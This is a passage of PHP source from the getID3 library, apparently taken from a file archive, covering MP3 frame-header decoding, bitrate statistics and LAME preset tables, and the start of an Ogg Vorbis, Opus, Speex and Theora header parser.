($BitrateHistogram) { $info['mpeg']['audio']['stereo_distribution'] = array('stereo'=>0, 'joint stereo'=>0, 'dual channel'=>0, 'mono'=>0); $info['mpeg']['audio']['version_distribution'] = array('1'=>0, '2'=>0, '2.5'=>0); if ($info['mpeg']['audio']['version'] == '1') { if ($info['mpeg']['audio']['layer'] == 3) { $info['mpeg']['audio']['bitrate_distribution'] = array('free'=>0, 32000=>0, 40000=>0, 48000=>0, 56000=>0, 64000=>0, 80000=>0, 96000=>0, 112000=>0, 128000=>0, 160000=>0, 192000=>0, 224000=>0, 256000=>0, 320000=>0); } elseif ($info['mpeg']['audio']['layer'] == 2) { $info['mpeg']['audio']['bitrate_distribution'] = array('free'=>0, 32000=>0, 48000=>0, 56000=>0, 64000=>0, 80000=>0, 96000=>0, 112000=>0, 128000=>0, 160000=>0, 192000=>0, 224000=>0, 256000=>0, 320000=>0, 384000=>0); } elseif ($info['mpeg']['audio']['layer'] == 1) { $info['mpeg']['audio']['bitrate_distribution'] = array('free'=>0, 32000=>0, 64000=>0, 96000=>0, 128000=>0, 160000=>0, 192000=>0, 224000=>0, 256000=>0, 288000=>0, 320000=>0, 352000=>0, 384000=>0, 416000=>0, 448000=>0); } } elseif ($info['mpeg']['audio']['layer'] == 1) { $info['mpeg']['audio']['bitrate_distribution'] = array('free'=>0, 32000=>0, 48000=>0, 56000=>0, 64000=>0, 80000=>0, 96000=>0, 112000=>0, 128000=>0, 144000=>0, 160000=>0, 176000=>0, 192000=>0, 224000=>0, 256000=>0); } else { $info['mpeg']['audio']['bitrate_distribution'] = array('free'=>0, 8000=>0, 16000=>0, 24000=>0, 32000=>0, 40000=>0, 48000=>0, 56000=>0, 64000=>0, 80000=>0, 96000=>0, 112000=>0, 128000=>0, 144000=>0, 160000=>0); } $dummy = array('error'=>$info['error'], 'warning'=>$info['warning'], 'avdataend'=>$info['avdataend'], 'avdataoffset'=>$info['avdataoffset']); $synchstartoffset = $info['avdataoffset']; $this->fseek($info['avdataoffset']); // you can play with these numbers: $max_frames_scan = 50000; $max_scan_segments = 10; // don't play with these numbers: $FastMode = false; $SynchErrorsFound = 0; $frames_scanned = 0; $this_scan_segment = 0; $frames_scan_per_segment = ceil($max_frames_scan / $max_scan_segments); $pct_data_scanned = 0; for ($current_segment = 0; $current_segment < $max_scan_segments; $current_segment++) { $frames_scanned_this_segment = 0; if ($this->ftell() >= $info['avdataend']) { break; } $scan_start_offset[$current_segment] = max($this->ftell(), $info['avdataoffset'] + round($current_segment * (($info['avdataend'] - $info['avdataoffset']) / $max_scan_segments))); if ($current_segment > 0) { $this->fseek($scan_start_offset[$current_segment]); $buffer_4k = $this->fread(4096); for ($j = 0; $j < (strlen($buffer_4k) - 4); $j++) { if (($buffer_4k[$j] == "\xFF") && ($buffer_4k[($j + 1)] > "\xE0")) { // synch detected if ($this->decodeMPEGaudioHeader($scan_start_offset[$current_segment] + $j, $dummy, false, false, $FastMode)) { $calculated_next_offset = $scan_start_offset[$current_segment] + $j + $dummy['mpeg']['audio']['framelength']; if ($this->decodeMPEGaudioHeader($calculated_next_offset, $dummy, false, false, $FastMode)) { $scan_start_offset[$current_segment] += $j; break; } } } } } $synchstartoffset = $scan_start_offset[$current_segment]; while (($synchstartoffset < $info['avdataend']) && $this->decodeMPEGaudioHeader($synchstartoffset, $dummy, false, false, $FastMode)) { $FastMode = true; $thisframebitrate = $MPEGaudioBitrateLookup[$MPEGaudioVersionLookup[$dummy['mpeg']['audio']['raw']['version']]][$MPEGaudioLayerLookup[$dummy['mpeg']['audio']['raw']['layer']]][$dummy['mpeg']['audio']['raw']['bitrate']]; if (empty($dummy['mpeg']['audio']['framelength'])) { $SynchErrorsFound++; $synchstartoffset++; } else { getid3_lib::safe_inc($info['mpeg']['audio']['bitrate_distribution'][$thisframebitrate]); getid3_lib::safe_inc($info['mpeg']['audio']['stereo_distribution'][$dummy['mpeg']['audio']['channelmode']]); getid3_lib::safe_inc($info['mpeg']['audio']['version_distribution'][$dummy['mpeg']['audio']['version']]); $synchstartoffset += $dummy['mpeg']['audio']['framelength']; } $frames_scanned++; if ($frames_scan_per_segment && (++$frames_scanned_this_segment >= $frames_scan_per_segment)) { $this_pct_scanned = ($this->ftell() - $scan_start_offset[$current_segment]) / ($info['avdataend'] - $info['avdataoffset']); if (($current_segment == 0) && (($this_pct_scanned * $max_scan_segments) >= 1)) { // file likely contains < $max_frames_scan, just scan as one segment $max_scan_segments = 1; $frames_scan_per_segment = $max_frames_scan; } else { $pct_data_scanned += $this_pct_scanned; break; } } } } if ($pct_data_scanned > 0) { $this->warning('too many MPEG audio frames to scan, only scanned '.$frames_scanned.' frames in '.$max_scan_segments.' segments ('.number_format($pct_data_scanned * 100, 1).'% of file) and extrapolated distribution, playtime and bitrate may be incorrect.'); foreach ($info['mpeg']['audio'] as $key1 => $value1) { if (!preg_match('#_distribution$#i', $key1)) { continue; } foreach ($value1 as $key2 => $value2) { $info['mpeg']['audio'][$key1][$key2] = round($value2 / $pct_data_scanned); } } } if ($SynchErrorsFound > 0) { $this->warning('Found '.$SynchErrorsFound.' synch errors in histogram analysis'); //return false; } $bittotal = 0; $framecounter = 0; foreach ($info['mpeg']['audio']['bitrate_distribution'] as $bitratevalue => $bitratecount) { $framecounter += $bitratecount; if ($bitratevalue != 'free') { $bittotal += ($bitratevalue * $bitratecount); } } if ($framecounter == 0) { $this->error('Corrupt MP3 file: framecounter == zero'); return false; } $info['mpeg']['audio']['frame_count'] = getid3_lib::CastAsInt($framecounter); $info['mpeg']['audio']['bitrate'] = ($bittotal / $framecounter); $info['audio']['bitrate'] = $info['mpeg']['audio']['bitrate']; // Definitively set VBR vs CBR, even if the Xing/LAME/VBRI header says differently $distinct_bitrates = 0; foreach ($info['mpeg']['audio']['bitrate_distribution'] as $bitrate_value => $bitrate_count) { if ($bitrate_count > 0) { $distinct_bitrates++; } } if ($distinct_bitrates > 1) { $info['mpeg']['audio']['bitrate_mode'] = 'vbr'; } else { $info['mpeg']['audio']['bitrate_mode'] = 'cbr'; } $info['audio']['bitrate_mode'] = $info['mpeg']['audio']['bitrate_mode']; } break; // exit while() } } $SynchSeekOffset++; if (($avdataoffset + $SynchSeekOffset) >= $info['avdataend']) { // end of file/data if (empty($info['mpeg']['audio'])) { $this->error('could not find valid MPEG synch before end of file'); if (isset($info['audio']['bitrate'])) { unset($info['audio']['bitrate']); } if (isset($info['mpeg']['audio'])) { unset($info['mpeg']['audio']); } if (isset($info['mpeg']) && (!is_array($info['mpeg']) || empty($info['mpeg']))) { unset($info['mpeg']); } return false; } break; } } $info['audio']['channels'] = $info['mpeg']['audio']['channels']; $info['audio']['channelmode'] = $info['mpeg']['audio']['channelmode']; $info['audio']['sample_rate'] = $info['mpeg']['audio']['sample_rate']; return true; } /** * @return array */ public static function MPEGaudioVersionArray() { static $MPEGaudioVersion = array('2.5', false, '2', '1'); return $MPEGaudioVersion; } /** * @return array */ public static function MPEGaudioLayerArray() { static $MPEGaudioLayer = array(false, 3, 2, 1); return $MPEGaudioLayer; } /** * @return array */ public static function MPEGaudioBitrateArray() { static $MPEGaudioBitrate; if (empty($MPEGaudioBitrate)) { $MPEGaudioBitrate = array ( '1' => array (1 => array('free', 32000, 64000, 96000, 128000, 160000, 192000, 224000, 256000, 288000, 320000, 352000, 384000, 416000, 448000), 2 => array('free', 32000, 48000, 56000, 64000, 80000, 96000, 112000, 128000, 160000, 192000, 224000, 256000, 320000, 384000), 3 => array('free', 32000, 40000, 48000, 56000, 64000, 80000, 96000, 112000, 128000, 160000, 192000, 224000, 256000, 320000) ), '2' => array (1 => array('free', 32000, 48000, 56000, 64000, 80000, 96000, 112000, 128000, 144000, 160000, 176000, 192000, 224000, 256000), 2 => array('free', 8000, 16000, 24000, 32000, 40000, 48000, 56000, 64000, 80000, 96000, 112000, 128000, 144000, 160000), ) ); $MPEGaudioBitrate['2'][3] = $MPEGaudioBitrate['2'][2]; $MPEGaudioBitrate['2.5'] = $MPEGaudioBitrate['2']; } return $MPEGaudioBitrate; } /** * @return array */ public static function MPEGaudioFrequencyArray() { static $MPEGaudioFrequency; if (empty($MPEGaudioFrequency)) { $MPEGaudioFrequency = array ( '1' => array(44100, 48000, 32000), '2' => array(22050, 24000, 16000), '2.5' => array(11025, 12000, 8000) ); } return $MPEGaudioFrequency; } /** * @return array */ public static function MPEGaudioChannelModeArray() { static $MPEGaudioChannelMode = array('stereo', 'joint stereo', 'dual channel', 'mono'); return $MPEGaudioChannelMode; } /** * @return array */ public static function MPEGaudioModeExtensionArray() { static $MPEGaudioModeExtension; if (empty($MPEGaudioModeExtension)) { $MPEGaudioModeExtension = array ( 1 => array('4-31', '8-31', '12-31', '16-31'), 2 => array('4-31', '8-31', '12-31', '16-31'), 3 => array('', 'IS', 'MS', 'IS+MS') ); } return $MPEGaudioModeExtension; } /** * @return array */ public static function MPEGaudioEmphasisArray() { static $MPEGaudioEmphasis = array('none', '50/15ms', false, 'CCIT J.17'); return $MPEGaudioEmphasis; } /** * @param string $head4 * @param bool $allowBitrate15 * * @return bool */ public static function MPEGaudioHeaderBytesValid($head4, $allowBitrate15=false) { return self::MPEGaudioHeaderValid(self::MPEGaudioHeaderDecode($head4), false, $allowBitrate15); } /** * @param array $rawarray * @param bool $echoerrors * @param bool $allowBitrate15 * * @return bool */ public static function MPEGaudioHeaderValid($rawarray, $echoerrors=false, $allowBitrate15=false) { if (!isset($rawarray['synch']) || ($rawarray['synch'] & 0x0FFE) != 0x0FFE) { return false; } static $MPEGaudioVersionLookup; static $MPEGaudioLayerLookup; static $MPEGaudioBitrateLookup; static $MPEGaudioFrequencyLookup; static $MPEGaudioChannelModeLookup; static $MPEGaudioModeExtensionLookup; static $MPEGaudioEmphasisLookup; if (empty($MPEGaudioVersionLookup)) { $MPEGaudioVersionLookup = self::MPEGaudioVersionArray(); $MPEGaudioLayerLookup = self::MPEGaudioLayerArray(); $MPEGaudioBitrateLookup = self::MPEGaudioBitrateArray(); $MPEGaudioFrequencyLookup = self::MPEGaudioFrequencyArray(); $MPEGaudioChannelModeLookup = self::MPEGaudioChannelModeArray(); $MPEGaudioModeExtensionLookup = self::MPEGaudioModeExtensionArray(); $MPEGaudioEmphasisLookup = self::MPEGaudioEmphasisArray(); } if (isset($MPEGaudioVersionLookup[$rawarray['version']])) { $decodedVersion = $MPEGaudioVersionLookup[$rawarray['version']]; } else { echo ($echoerrors ? "\n".'invalid Version ('.$rawarray['version'].')' : ''); return false; } if (isset($MPEGaudioLayerLookup[$rawarray['layer']])) { $decodedLayer = $MPEGaudioLayerLookup[$rawarray['layer']]; } else { echo ($echoerrors ? "\n".'invalid Layer ('.$rawarray['layer'].')' : ''); return false; } if (!isset($MPEGaudioBitrateLookup[$decodedVersion][$decodedLayer][$rawarray['bitrate']])) { echo ($echoerrors ? "\n".'invalid Bitrate ('.$rawarray['bitrate'].')' : ''); if ($rawarray['bitrate'] == 15) { // known issue in LAME 3.90 - 3.93.1 where free-format has bitrate ID of 15 instead of 0 // let it go through here otherwise file will not be identified if (!$allowBitrate15) { return false; } } else { return false; } } if (!isset($MPEGaudioFrequencyLookup[$decodedVersion][$rawarray['sample_rate']])) { echo ($echoerrors ? "\n".'invalid Frequency ('.$rawarray['sample_rate'].')' : ''); return false; } if (!isset($MPEGaudioChannelModeLookup[$rawarray['channelmode']])) { echo ($echoerrors ? "\n".'invalid ChannelMode ('.$rawarray['channelmode'].')' : ''); return false; } if (!isset($MPEGaudioModeExtensionLookup[$decodedLayer][$rawarray['modeextension']])) { echo ($echoerrors ? "\n".'invalid Mode Extension ('.$rawarray['modeextension'].')' : ''); return false; } if (!isset($MPEGaudioEmphasisLookup[$rawarray['emphasis']])) { echo ($echoerrors ? "\n".'invalid Emphasis ('.$rawarray['emphasis'].')' : ''); return false; } // These are just either set or not set, you can't mess that up :) // $rawarray['protection']; // $rawarray['padding']; // $rawarray['private']; // $rawarray['copyright']; // $rawarray['original']; return true; } /** * @param string $Header4Bytes * * @return array|false */ public static function MPEGaudioHeaderDecode($Header4Bytes) { // AAAA AAAA AAAB BCCD EEEE FFGH IIJJ KLMM // A - Frame sync (all bits set) // B - MPEG Audio version ID // C - Layer description // D - Protection bit // E - Bitrate index // F - Sampling rate frequency index // G - Padding bit // H - Private bit // I - Channel Mode // J - Mode extension (Only if Joint stereo) // K - Copyright // L - Original // M - Emphasis if (strlen($Header4Bytes) != 4) { return false; } $MPEGrawHeader['synch'] = (getid3_lib::BigEndian2Int(substr($Header4Bytes, 0, 2)) & 0xFFE0) >> 4; $MPEGrawHeader['version'] = (ord($Header4Bytes[1]) & 0x18) >> 3; // BB $MPEGrawHeader['layer'] = (ord($Header4Bytes[1]) & 0x06) >> 1; // CC $MPEGrawHeader['protection'] = (ord($Header4Bytes[1]) & 0x01); // D $MPEGrawHeader['bitrate'] = (ord($Header4Bytes[2]) & 0xF0) >> 4; // EEEE $MPEGrawHeader['sample_rate'] = (ord($Header4Bytes[2]) & 0x0C) >> 2; // FF $MPEGrawHeader['padding'] = (ord($Header4Bytes[2]) & 0x02) >> 1; // G $MPEGrawHeader['private'] = (ord($Header4Bytes[2]) & 0x01); // H $MPEGrawHeader['channelmode'] = (ord($Header4Bytes[3]) & 0xC0) >> 6; // II $MPEGrawHeader['modeextension'] = (ord($Header4Bytes[3]) & 0x30) >> 4; // JJ $MPEGrawHeader['copyright'] = (ord($Header4Bytes[3]) & 0x08) >> 3; // K $MPEGrawHeader['original'] = (ord($Header4Bytes[3]) & 0x04) >> 2; // L $MPEGrawHeader['emphasis'] = (ord($Header4Bytes[3]) & 0x03); // MM return $MPEGrawHeader; } /** * @param int|string $bitrate * @param string $version * @param string $layer * @param bool $padding * @param int $samplerate * * @return int|false */ public static function MPEGaudioFrameLength(&$bitrate, &$version, &$layer, $padding, &$samplerate) { static $AudioFrameLengthCache = array(); if (!isset($AudioFrameLengthCache[$bitrate][$version][$layer][$padding][$samplerate])) { $AudioFrameLengthCache[$bitrate][$version][$layer][$padding][$samplerate] = false; if ($bitrate != 'free') { if ($version == '1') { if ($layer == '1') { // For Layer I slot is 32 bits long $FrameLengthCoefficient = 48; $SlotLength = 4; } else { // Layer 2 / 3 // for Layer 2 and Layer 3 slot is 8 bits long. $FrameLengthCoefficient = 144; $SlotLength = 1; } } else { // MPEG-2 / MPEG-2.5 if ($layer == '1') { // For Layer I slot is 32 bits long $FrameLengthCoefficient = 24; $SlotLength = 4; } elseif ($layer == '2') { // for Layer 2 and Layer 3 slot is 8 bits long. $FrameLengthCoefficient = 144; $SlotLength = 1; } else { // layer 3 // for Layer 2 and Layer 3 slot is 8 bits long. $FrameLengthCoefficient = 72; $SlotLength = 1; } } // FrameLengthInBytes = ((Coefficient * BitRate) / SampleRate) + Padding if ($samplerate > 0) { $NewFramelength = ($FrameLengthCoefficient * $bitrate) / $samplerate; $NewFramelength = floor($NewFramelength / $SlotLength) * $SlotLength; // round to next-lower multiple of SlotLength (1 byte for Layer 2/3, 4 bytes for Layer I) if ($padding) { $NewFramelength += $SlotLength; } $AudioFrameLengthCache[$bitrate][$version][$layer][$padding][$samplerate] = (int) $NewFramelength; } } } return $AudioFrameLengthCache[$bitrate][$version][$layer][$padding][$samplerate]; } /** * @param float|int $bit_rate * * @return int|float|string */ public static function ClosestStandardMP3Bitrate($bit_rate) { static $standard_bit_rates = array (320000, 256000, 224000, 192000, 160000, 128000, 112000, 96000, 80000, 64000, 56000, 48000, 40000, 32000, 24000, 16000, 8000); static $bit_rate_table = array (0=>'-'); $round_bit_rate = intval(round($bit_rate, -3)); if (!isset($bit_rate_table[$round_bit_rate])) { if ($round_bit_rate > max($standard_bit_rates)) { $bit_rate_table[$round_bit_rate] = round($bit_rate, 2 - strlen($bit_rate)); } else { $bit_rate_table[$round_bit_rate] = max($standard_bit_rates); foreach ($standard_bit_rates as $standard_bit_rate) { if ($round_bit_rate >= $standard_bit_rate + (($bit_rate_table[$round_bit_rate] - $standard_bit_rate) / 2)) { break; } $bit_rate_table[$round_bit_rate] = $standard_bit_rate; } } } return $bit_rate_table[$round_bit_rate]; } /** * @param string $version * @param string $channelmode * * @return int */ public static function XingVBRidOffset($version, $channelmode) { static $XingVBRidOffsetCache = array(); if (empty($XingVBRidOffsetCache)) { $XingVBRidOffsetCache = array ( '1' => array ('mono' => 0x15, // 4 + 17 = 21 'stereo' => 0x24, // 4 + 32 = 36 'joint stereo' => 0x24, 'dual channel' => 0x24 ), '2' => array ('mono' => 0x0D, // 4 + 9 = 13 'stereo' => 0x15, // 4 + 17 = 21 'joint stereo' => 0x15, 'dual channel' => 0x15 ), '2.5' => array ('mono' => 0x15, 'stereo' => 0x15, 'joint stereo' => 0x15, 'dual channel' => 0x15 ) ); } return $XingVBRidOffsetCache[$version][$channelmode]; } /** * @param int $VBRmethodID * * @return string */ public static function LAMEvbrMethodLookup($VBRmethodID) { static $LAMEvbrMethodLookup = array( 0x00 => 'unknown', 0x01 => 'cbr', 0x02 => 'abr', 0x03 => 'vbr-old / vbr-rh', 0x04 => 'vbr-new / vbr-mtrh', 0x05 => 'vbr-mt', 0x06 => 'vbr (full vbr method 4)', 0x08 => 'cbr (constant bitrate 2 pass)', 0x09 => 'abr (2 pass)', 0x0F => 'reserved' ); return (isset($LAMEvbrMethodLookup[$VBRmethodID]) ? $LAMEvbrMethodLookup[$VBRmethodID] : ''); } /** * @param int $StereoModeID * * @return string */ public static function LAMEmiscStereoModeLookup($StereoModeID) { static $LAMEmiscStereoModeLookup = array( 0 => 'mono', 1 => 'stereo', 2 => 'dual mono', 3 => 'joint stereo', 4 => 'forced stereo', 5 => 'auto', 6 => 'intensity stereo', 7 => 'other' ); return (isset($LAMEmiscStereoModeLookup[$StereoModeID]) ? $LAMEmiscStereoModeLookup[$StereoModeID] : ''); } /** * @param int $SourceSampleFrequencyID * * @return string */ public static function LAMEmiscSourceSampleFrequencyLookup($SourceSampleFrequencyID) { static $LAMEmiscSourceSampleFrequencyLookup = array( 0 => '<= 32 kHz', 1 => '44.1 kHz', 2 => '48 kHz', 3 => '> 48kHz' ); return (isset($LAMEmiscSourceSampleFrequencyLookup[$SourceSampleFrequencyID]) ? $LAMEmiscSourceSampleFrequencyLookup[$SourceSampleFrequencyID] : ''); } /** * @param int $SurroundInfoID * * @return string */ public static function LAMEsurroundInfoLookup($SurroundInfoID) { static $LAMEsurroundInfoLookup = array( 0 => 'no surround info', 1 => 'DPL encoding', 2 => 'DPL2 encoding', 3 => 'Ambisonic encoding' ); return (isset($LAMEsurroundInfoLookup[$SurroundInfoID]) ? $LAMEsurroundInfoLookup[$SurroundInfoID] : 'reserved'); } /** * @param array $LAMEtag * * @return string */ public static function LAMEpresetUsedLookup($LAMEtag) { if ($LAMEtag['preset_used_id'] == 0) { // no preset used (LAME >=3.93) // no preset recorded (LAME <3.93) return ''; } $LAMEpresetUsedLookup = array(); ///// THIS PART CANNOT BE STATIC . for ($i = 8; $i <= 320; $i++) { switch ($LAMEtag['vbr_method']) { case 'cbr': $LAMEpresetUsedLookup[$i] = '--alt-preset '.$LAMEtag['vbr_method'].' '.$i; break; case 'abr': default: // other VBR modes shouldn't be here(?) $LAMEpresetUsedLookup[$i] = '--alt-preset '.$i; break; } } // named old-style presets (studio, phone, voice, etc) are handled in GuessEncoderOptions() // named alt-presets $LAMEpresetUsedLookup[1000] = '--r3mix'; $LAMEpresetUsedLookup[1001] = '--alt-preset standard'; $LAMEpresetUsedLookup[1002] = '--alt-preset extreme'; $LAMEpresetUsedLookup[1003] = '--alt-preset insane'; $LAMEpresetUsedLookup[1004] = '--alt-preset fast standard'; $LAMEpresetUsedLookup[1005] = '--alt-preset fast extreme'; $LAMEpresetUsedLookup[1006] = '--alt-preset medium'; $LAMEpresetUsedLookup[1007] = '--alt-preset fast medium'; // LAME 3.94 additions/changes $LAMEpresetUsedLookup[1010] = '--preset portable'; // 3.94a15 Oct 21 2003 $LAMEpresetUsedLookup[1015] = '--preset radio'; // 3.94a15 Oct 21 2003 $LAMEpresetUsedLookup[320] = '--preset insane'; // 3.94a15 Nov 12 2003 $LAMEpresetUsedLookup[410] = '-V9'; $LAMEpresetUsedLookup[420] = '-V8'; $LAMEpresetUsedLookup[440] = '-V6'; $LAMEpresetUsedLookup[430] = '--preset radio'; // 3.94a15 Nov 12 2003 $LAMEpresetUsedLookup[450] = '--preset '.(($LAMEtag['raw']['vbr_method'] == 4) ? 'fast ' : '').'portable'; // 3.94a15 Nov 12 2003 $LAMEpresetUsedLookup[460] = '--preset '.(($LAMEtag['raw']['vbr_method'] == 4) ? 'fast ' : '').'medium'; // 3.94a15 Nov 12 2003 $LAMEpresetUsedLookup[470] = '--r3mix'; // 3.94b1 Dec 18 2003 $LAMEpresetUsedLookup[480] = '--preset '.(($LAMEtag['raw']['vbr_method'] == 4) ? 'fast ' : '').'standard'; // 3.94a15 Nov 12 2003 $LAMEpresetUsedLookup[490] = '-V1'; $LAMEpresetUsedLookup[500] = '--preset '.(($LAMEtag['raw']['vbr_method'] == 4) ? 'fast ' : '').'extreme'; // 3.94a15 Nov 12 2003 return (isset($LAMEpresetUsedLookup[$LAMEtag['preset_used_id']]) ? $LAMEpresetUsedLookup[$LAMEtag['preset_used_id']] : 'new/unknown preset: '.$LAMEtag['preset_used_id'].' - report to info@getid3.org'); } } ID3/module.audio.ogg.php000064400000124131151202620270010773 0ustar00 // // available at https://github.com/JamesHeinrich/getID3 // // or https://www.getid3.org // // or http://getid3.sourceforge.net // // see readme.txt for more details // ///////////////////////////////////////////////////////////////// // // // module.audio.ogg.php // // module for analyzing Ogg Vorbis, OggFLAC and Speex files // // dependencies: module.audio.flac.php // // /// ///////////////////////////////////////////////////////////////// if (!defined('GETID3_INCLUDEPATH')) { // prevent path-exposing attacks that access modules directly on public webservers exit; } getid3_lib::IncludeDependency(GETID3_INCLUDEPATH.'module.audio.flac.php', __FILE__, true); class getid3_ogg extends getid3_handler { /** * @link http://xiph.org/vorbis/doc/Vorbis_I_spec.html * * @return bool */ public function Analyze() { $info = &$this->getid3->info; $info['fileformat'] = 'ogg'; // Warn about illegal tags - only vorbiscomments are allowed if (isset($info['id3v2'])) { $this->warning('Illegal ID3v2 tag present.'); } if (isset($info['id3v1'])) { $this->warning('Illegal ID3v1 tag present.'); } if (isset($info['ape'])) { $this->warning('Illegal APE tag present.'); } // Page 1 - Stream Header $this->fseek($info['avdataoffset']); $oggpageinfo = $this->ParseOggPageHeader(); $info['ogg']['pageheader'][$oggpageinfo['page_seqno']] = $oggpageinfo; if ($this->ftell() >= $this->getid3->fread_buffer_size()) { $this->error('Could not find start of Ogg page in the first '.$this->getid3->fread_buffer_size().' bytes (this might not be an Ogg-Vorbis file?)'); unset($info['fileformat']); unset($info['ogg']); return false; } $filedata = $this->fread($oggpageinfo['page_length']); $filedataoffset = 0; if (substr($filedata, 0, 4) == 'fLaC') { $info['audio']['dataformat'] = 'flac'; $info['audio']['bitrate_mode'] = 'vbr'; $info['audio']['lossless'] = true; } elseif (substr($filedata, 1, 6) == 'vorbis') { $this->ParseVorbisPageHeader($filedata, $filedataoffset, $oggpageinfo); } elseif (substr($filedata, 0, 8) == 'OpusHead') { if ($this->ParseOpusPageHeader($filedata, $filedataoffset, $oggpageinfo) === false) { return false; } } elseif (substr($filedata, 0, 8) == 'Speex ') { // http://www.speex.org/manual/node10.html $info['audio']['dataformat'] = 'speex'; $info['mime_type'] = 'audio/speex'; $info['audio']['bitrate_mode'] = 'abr'; $info['audio']['lossless'] = false; $info['ogg']['pageheader'][$oggpageinfo['page_seqno']]['speex_string'] = substr($filedata, $filedataoffset, 8); // hard-coded to 'Speex ' $filedataoffset += 8; $info['ogg']['pageheader'][$oggpageinfo['page_seqno']]['speex_version'] = substr($filedata, $filedataoffset, 20); $filedataoffset += 20; $info['ogg']['pageheader'][$oggpageinfo['page_seqno']]['speex_version_id'] = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset, 4)); $filedataoffset += 4; $info['ogg']['pageheader'][$oggpageinfo['page_seqno']]['header_size'] = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset, 4)); $filedataoffset += 4; $info['ogg']['pageheader'][$oggpageinfo['page_seqno']]['rate'] = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset, 4)); $filedataoffset += 4; $info['ogg']['pageheader'][$oggpageinfo['page_seqno']]['mode'] = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset, 4)); $filedataoffset += 4; $info['ogg']['pageheader'][$oggpageinfo['page_seqno']]['mode_bitstream_version'] = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset, 4)); $filedataoffset += 4; $info['ogg']['pageheader'][$oggpageinfo['page_seqno']]['nb_channels'] = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset, 4)); $filedataoffset += 4; $info['ogg']['pageheader'][$oggpageinfo['page_seqno']]['bitrate'] = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset, 4)); $filedataoffset += 4; $info['ogg']['pageheader'][$oggpageinfo['page_seqno']]['framesize'] = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset, 4)); $filedataoffset += 4; $info['ogg']['pageheader'][$oggpageinfo['page_seqno']]['vbr'] = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset, 4)); $filedataoffset += 4; $info['ogg']['pageheader'][$oggpageinfo['page_seqno']]['frames_per_packet'] = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset, 4)); $filedataoffset += 4; $info['ogg']['pageheader'][$oggpageinfo['page_seqno']]['extra_headers'] = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset, 4)); $filedataoffset += 4; $info['ogg']['pageheader'][$oggpageinfo['page_seqno']]['reserved1'] = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset, 4)); $filedataoffset += 4; $info['ogg']['pageheader'][$oggpageinfo['page_seqno']]['reserved2'] = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset, 4)); $filedataoffset += 4; $info['speex']['speex_version'] = trim($info['ogg']['pageheader'][$oggpageinfo['page_seqno']]['speex_version']); $info['speex']['sample_rate'] = $info['ogg']['pageheader'][$oggpageinfo['page_seqno']]['rate']; $info['speex']['channels'] = $info['ogg']['pageheader'][$oggpageinfo['page_seqno']]['nb_channels']; $info['speex']['vbr'] = (bool) $info['ogg']['pageheader'][$oggpageinfo['page_seqno']]['vbr']; $info['speex']['band_type'] = $this->SpeexBandModeLookup($info['ogg']['pageheader'][$oggpageinfo['page_seqno']]['mode']); $info['audio']['sample_rate'] = $info['speex']['sample_rate']; $info['audio']['channels'] = $info['speex']['channels']; if ($info['speex']['vbr']) { $info['audio']['bitrate_mode'] = 'vbr'; } } elseif (substr($filedata, 0, 7) == "\x80".'theora') { // http://www.theora.org/doc/Theora.pdf (section 6.2) $info['ogg']['pageheader']['theora']['theora_magic'] = substr($filedata, $filedataoffset, 7); // hard-coded to "\x80.'theora' $filedataoffset += 7; $info['ogg']['pageheader']['theora']['version_major'] = getid3_lib::BigEndian2Int(substr($filedata, $filedataoffset, 1)); $filedataoffset += 1; $info['ogg']['pageheader']['theora']['version_minor'] = getid3_lib::BigEndian2Int(substr($filedata, $filedataoffset, 1)); $filedataoffset += 1; $info['ogg']['pageheader']['theora']['version_revision'] = getid3_lib::BigEndian2Int(substr($filedata, $filedataoffset, 1)); $filedataoffset += 1; $info['ogg']['pageheader']['theora']['frame_width_macroblocks'] = getid3_lib::BigEndian2Int(substr($filedata, $filedataoffset, 2)); $filedataoffset += 2; $info['ogg']['pageheader']['theora']['frame_height_macroblocks'] = getid3_lib::BigEndian2Int(substr($filedata, $filedataoffset, 2)); $filedataoffset += 2; $info['ogg']['pageheader']['theora']['resolution_x'] = getid3_lib::BigEndian2Int(substr($filedata, $filedataoffset, 3)); $filedataoffset += 3; $info['ogg']['pageheader']['theora']['resolution_y'] = getid3_lib::BigEndian2Int(substr($filedata, $filedataoffset, 3)); $filedataoffset += 3; $info['ogg']['pageheader']['theora']['picture_offset_x'] = getid3_lib::BigEndian2Int(substr($filedata, $filedataoffset, 1)); $filedataoffset += 1; $info['ogg']['pageheader']['theora']['picture_offset_y'] = getid3_lib::BigEndian2Int(substr($filedata, $filedataoffset, 1)); $filedataoffset += 1; $info['ogg']['pageheader']['theora']['frame_rate_numerator'] = getid3_lib::BigEndian2Int(substr($filedata, $filedataoffset, 4)); $filedataoffset += 4; $info['ogg']['pageheader']['theora']['frame_rate_denominator'] = getid3_lib::BigEndian2Int(substr($filedata, $filedataoffset, 4)); $filedataoffset += 4; $info['ogg']['pageheader']['theora']['pixel_aspect_numerator'] = getid3_lib::BigEndian2Int(substr($filedata, $filedataoffset, 3)); $filedataoffset += 3; $info['ogg']['pageheader']['theora']['pixel_aspect_denominator'] = getid3_lib::BigEndian2Int(substr($filedata, $filedataoffset, 3)); $filedataoffset += 3; $info['ogg']['pageheader']['theora']['color_space_id'] = getid3_lib::BigEndian2Int(substr($filedata, $filedataoffset, 1)); $filedataoffset += 1; $info['ogg']['pageheader']['theora']['nominal_bitrate'] = getid3_lib::BigEndian2Int(substr($filedata, $filedataoffset, 3)); $filedataoffset += 3; $info['ogg']['pageheader']['theora']['flags'] = getid3_lib::BigEndian2Int(substr($filedata, $filedataoffset, 2)); $filedataoffset += 2; $info['ogg']['pageheader']['theora']['quality'] = ($info['ogg']['pageheader']['theora']['flags'] & 0xFC00) >> 10; $info['ogg']['pageheader']['theora']['kfg_shift'] = ($info['ogg']['pageheader']['theora']['flags'] & 0x03E0) >> 5; $info['ogg']['pageheader']['theora']['pixel_format_id'] = ($info['ogg']['pageheader']['theora']['flags'] & 0x0018) >> 3; $info['ogg']['pageheader']['theora']['reserved'] 